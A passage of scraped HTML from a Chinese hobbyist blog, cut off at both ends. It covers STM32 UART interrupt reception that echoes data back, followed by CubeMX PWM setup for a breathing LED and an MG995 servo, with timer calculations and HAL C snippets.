operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uLength\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 4. 初始化指针和数据长度\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//重新指向数组起始位置 uLength = 0; //长度清零\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 5. 若未结束,指针往下一位移动,长度自增1\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003epRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003euLength\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e完整中断服务程序\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eUSART1_IRQHandler\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_IRQn 0 */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 存储数组\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 指向存储数组将要存储数据的位\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 接收数据长度\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 接收数据\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e pRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 判断数据结尾\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e\u0026#39;\\r\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 将接收成功的数据通过串口发出去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uLength\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化指针和数据长度\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//重新指向数组起始位置\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//长度清零\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 若未结束,指针往下一位移动,长度自增1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003epRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003euLength\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_IRQn 0 */\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_IRQHandler\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_IRQn 1 */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_IRQn 1 */\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"查看效果\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E6%9F%A5%E7%9C%8B%E6%95%88%E6%9E%9C\" class=\"headerlink\" title=\"查看效果\"\u003e\u003c/a\u003e查看效果\u003c/h4\u003e\u003cp\u003e编译下载,使用串口查看\u003c/p\u003e\u003cp\u003e默认是不断发送之前的 \u003ccode\u003eHello World !\u003c/code\u003e ,在受到我们发送的数据后,将其再发送,结束后之前运行不受影响。(中断的好处)\u003c/p\u003e\u003cimg src=\"http://http/img/posts/uart/6.gif\" alt=\"6\" style=\"zoom:67%;\"/\u003e\u003chr/\u003e\u003cp\u003e发送与接收都完成咯,撒花 ~\u003c/p\u003e\u003cp\u003e)这算是搞明白了当时是如何操纵 \u003ccode\u003eStm32\u003c/code\u003e 使用 \u003ccode\u003eAT\u003c/code\u003e 指令与广和通 \u003ccode\u003eL610\u003c/code\u003e 通信了 ~\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(当时没搞明白,对着例程xjb抄,发送功能糊出来了结果最后没有接收功能……令人感慨。\u003c/del\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/b619/"},{"title":"CubeMX初配置PWM\u0026驱动MG995舵机","time":"2022-05-02T12:32:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"CubeMX初配置PWM-amp-驱动MG995舵机\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#CubeMX%E5%88%9D%E9%85%8D%E7%BD%AEPWM-amp-%E9%A9%B1%E5%8A%A8MG995%E8%88%B5%E6%9C%BA\" class=\"headerlink\" title=\"CubeMX初配置PWM\u0026amp;驱动MG995舵机\"\u003e\u003c/a\u003eCubeMX初配置PWM\u0026amp;驱动MG995舵机\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e最近在重学STM32,发现大二上整的像s一样\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"参考博客\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E5%8F%82%E8%80%83%E5%8D%9A%E5%AE%A2\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e[\u003ca href=\"https://www.emoe.xyz/bonjour-stm32-timer-cookbook/\"\u003eBonjour STM32] No.6-定时器简单理解与使用 - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42967008/article/details/89267010\"\u003e STM32CubeMX学习笔记1——PWM配置_夏沫不学习的博客-CSDN博客_cubemx配置pwm\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/6151e6d4b207\"\u003eHAL库函数之呼吸灯——PWM波 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/he__yuan/article/details/79195435\"\u003e(37条消息) MG995舵机工作原理及基于STM32的驱动源代码_斜杠青年/的博客-CSDN博客_mg995舵机\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"PWM\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#PWM\" class=\"headerlink\" title=\"PWM\"\u003e\u003c/a\u003ePWM\u003c/h3\u003e\u003cp\u003e个人理解:PWM就是方波,具体使用的时候改变这玩意的占空比就行。 \u003cspan class=\"diana_biu\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://s2.ax1x.com/2019/09/12/nBut8s.gif\"/\u003e\u003c/p\u003e\u003ch3 id=\"配置PWM\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E9%85%8D%E7%BD%AEPWM\" class=\"headerlink\" title=\"配置PWM\"\u003e\u003c/a\u003e配置PWM\u003c/h3\u003e\u003cp\u003e要知道 \u003ccode\u003eCNT\u003c/code\u003e (计数器当前值), \u003ccode\u003eARR\u003c/code\u003e (自动重装载值), \u003ccode\u003eCCRx\u003c/code\u003e (捕获/比较寄存器值)\u003c/p\u003e\u003cp\u003e当 \u003ccode\u003eCNT\u003c/code\u003e 小于 \u003ccode\u003eCCRx\u003c/code\u003e 时,通道输出高电平;\u003c/p\u003e\u003cp\u003e当 \u003ccode\u003eCNT\u003c/code\u003e 等于或大于 \u003ccode\u003eCCRx\u003c/code\u003e 时,通道输出低电平;\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://s1.ax1x.com/2020/06/13/tjSq39.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e因为目前使用 \u003ccode\u003eSTM32F103C8T6\u003c/code\u003e ,首先设置使用外部时钟,再设置时钟为72Mhz\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/mg995/0.webp\" alt=\"3\"/\u003e\u003c/p\u003e\u003cp\u003e直接输入 72 就行,CubeMX 会自动配置\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/mg995/4.webp\" alt=\"4\"/\u003e\u003c/p\u003e\u003cp\u003e然后贴一段参考博客里的: \u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e确定时钟源频率后,我们就可以设置\u003cstrong\u003ePSC\u003c/strong\u003e和\u003cstrong\u003eARR\u003c/strong\u003e了。按照之前的要求,我们想让定时器的溢出频率为5Hz,则240MHz/5Hz=48M分频。我们知道,一个模值(“容量”)为48M的定时器即可完成此分频,可是我们的\u003cstrong\u003eCNT\u003c/strong\u003e寄存器只有16位,也就是说模值最大设置为65535,远远不够呀。这就是预分频器\u003cstrong\u003ePSC\u003c/strong\u003e存在的意义了,“时钟源太快了,\u003cstrong\u003eCNT\u003c/strong\u003e没有足够的容量来实现较长周期的定时,所以需要预分频器把时钟降慢一些”。所以说,我们把48M拆成2400*20000就可以了。注意实际填入\u003cstrong\u003ePSC\u003c/strong\u003e和\u003cstrong\u003eARR\u003c/strong\u003e都有一个“-1”,这是因为定时器是从0开始计数的,由0计到239正好是240次。总结一个定时器频率公式,就是这样:\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$$f_{TIM}=\\frac{f_{CLK}}{(PSC+1)\\times(ARR+1)}$$\u003c/p\u003e\u003cp\u003e改变占空比只需要改变对应计时器的 CCRx 就行\u003c/p\u003e\u003cp\u003e$$Duty_x=\\frac{CCRx}{ARR}$$\u003c/p\u003e\u003cp\u003e因为 MG995 电机需要一个20ms的时基脉冲,所以需要频率50Hz,为我们设置 \u003ccode\u003ePSC=7200-1\u003c/code\u003e \u003ccode\u003eARR=200-1\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003e72000000/7200/200=50\u003c/code\u003e\u003c/p\u003e\u003cp\u003e所以计数器每次 \u003ccode\u003e+1\u003c/code\u003e 的时间为 \u003ccode\u003e20ms/ARR=20ms/200=0.1ms\u003c/code\u003e\u003c/p\u003e\u003cp\u003e在CubeMX配置如下\u003c/p\u003e\u003cp\u003e设置 TIM3 定时器 ,只用一个通道就行,设置为 PWM模式,默认是 GPIOA16 管脚\u003c/p\u003e\u003cimg src=\"http://http/img/posts/mg995/5.webp\" alt=\"5\" style=\"zoom:80%;\"/\u003e\u003ch3 id=\"先点个灯\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E5%85%88%E7%82%B9%E4%B8%AA%E7%81%AF\" class=\"headerlink\" title=\"先点个灯\"\u003e\u003c/a\u003e先点个灯\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e历时108个秒,我做出了苹果手机没有的功能,呼吸灯\u003c/del\u003e \u003cspan class=\"diana_yiyanzhen\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e呼吸灯的呼吸,就是灯的强弱状态,改变 PWM 的占空比便可调整\u003c/p\u003e\u003cp\u003e具体配置和前面差不多,这里设置为 \u003ccode\u003eARR=500\u003c/code\u003e\u003c/p\u003e\u003cp\u003e 改变 CRRx 的两种方式\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//ld1_duty 为我们设置的CCRx具体数值\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//方法一,直接操作\u003c/span\u003eTIM3 \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e ld1_duty\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//方法二,使用库函数\u003c/span\u003e\u003cspan class=\"token function\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eld1_duty\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"主要代码为\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E4%B8%BB%E8%A6%81%E4%BB%A3%E7%A0%81%E4%B8%BA\" class=\"headerlink\" title=\"主要代码为\"\u003e\u003c/a\u003e主要代码为\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省略一堆初始化函数\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 记录变强还是变弱\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 相当于CNT\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化,启动 TIM3 通道1的 PWM 模式 \u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 变强状态\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_dir \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 变弱状态\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_dir \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e-=\u003c/span\u003e \u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 由强变弱\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_duty \u003cspan class=\"token operator\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e500\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 由弱变强\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_duty \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 使用库函数改变 TIM3 通道1 PWM 的占空比\u003c/span\u003e \u003cspan class=\"token function\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eld1_duty\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//延时\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"大概效果\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E5%A4%A7%E6%A6%82%E6%95%88%E6%9E%9C\" class=\"headerlink\" title=\"大概效果\"\u003e\u003c/a\u003e大概效果\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/mg995/1.gif\" alt=\"1\"/\u003e\u003c/p\u003e\u003ch3 id=\"驱动MG995舵机\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E9%A9%B1%E5%8A%A8MG995%E8%88%B5%E6%9C%BA\" class=\"headerlink\" title=\"驱动MG995舵机\"\u003e\u003c/a\u003e驱动MG995舵机\u003c/h3\u003e\u003cp\u003e这玩意具体参数可以去参考的博客去看\u003c/p\u003e\u003ch4 id=\"控制原理\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E6%8E%A7%E5%88%B6%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"控制原理\"\u003e\u003c/a\u003e控制原理\u003c/h4\u003e\u003cp\u003e舵机的控制一般需要一个20ms的时基脉冲,该脉冲的高电平部分一般为0.5ms~2.5ms范围内的角度控制脉冲部分。以180度角度舵机为例,那么对应的控制关系是这样的:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e0.5ms————–0度;\u003cbr/\u003e1.0ms————45度;\u003cbr/\u003e1.5ms————90度;\u003cbr/\u003e2.0ms———–135度;\u003cbr/\u003e2.5ms———–180度;\u003c/p\u003e\u003c/blockquote\u003e\u003cimg src=\"https://img-blog.csdn.net/20180129143043496?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaGVfX3l1YW4=\" style=\"zoom:67%;\"/\u003e\u003cp\u003e既然前面已经配置好时钟了,可以直接写代码了\u003c/p\u003e\u003cp\u003e调上面的角度转换成对应高电平部分\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode 